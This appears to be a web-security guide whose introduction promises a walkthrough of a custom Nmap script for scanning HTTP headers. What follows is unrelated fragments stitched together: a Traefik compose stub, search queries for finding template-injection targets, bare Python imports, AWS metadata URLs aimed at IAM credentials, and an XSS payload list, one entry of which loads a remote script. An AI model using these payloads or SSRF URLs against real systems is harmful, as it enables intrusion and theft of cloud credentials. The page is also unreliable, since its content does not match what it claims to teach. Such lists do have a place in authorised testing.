This guide provides a detailed walkthrough on using a custom NMAP script to scan for HTTP header vulnerabilities. The script ranks detected vulnerabilities based on custom-defined metrics to aid security assessments.
For demonstration, a vulnerable Nginx web application will be set up, allowing users to analyze real-time scanning results.
Ensure the following tools are installed:
| version: '3' | |
| services: | |
| traefik: | |
| restart: unless-stopped | |
| image: traefik:v2.0.2 | |
| ports: | |
| - "80:80" | |
| - "443:443" | |
| labels: | |
| - "traefik.http.services.traefik.loadbalancer.server.port=8080" |
| "For finding template injection" | |
| http.component:"AngularJS" | |
| http.component:"Ruby" | |
| http.component:"Ruby on Rails" | |
| http.component:"Python" | |
| ------------------------------- | |
| "For finding php vulnerabilites" |
| # coding=utf-8 | |
| # python3 | |
| from urllib.parse import urlparse | |
| import requests | |
| import urllib3 | |
| from bs4 import BeautifulSoup |
| #!/usr/bin/env python3 | |
| import requests | |
| import json | |
| import urllib3 | |
| import sys | |
| # SUPPRESS WARNINGS ############################################################ | |
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) |
| ## AWS | |
| # from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories | |
| http://169.254.169.254/latest/user-data | |
| http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] | |
| http://169.254.169.254/latest/meta-data/ami-id | |
| http://169.254.169.254/latest/meta-data/reservation-id | |
| http://169.254.169.254/latest/meta-data/hostname | |
| http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
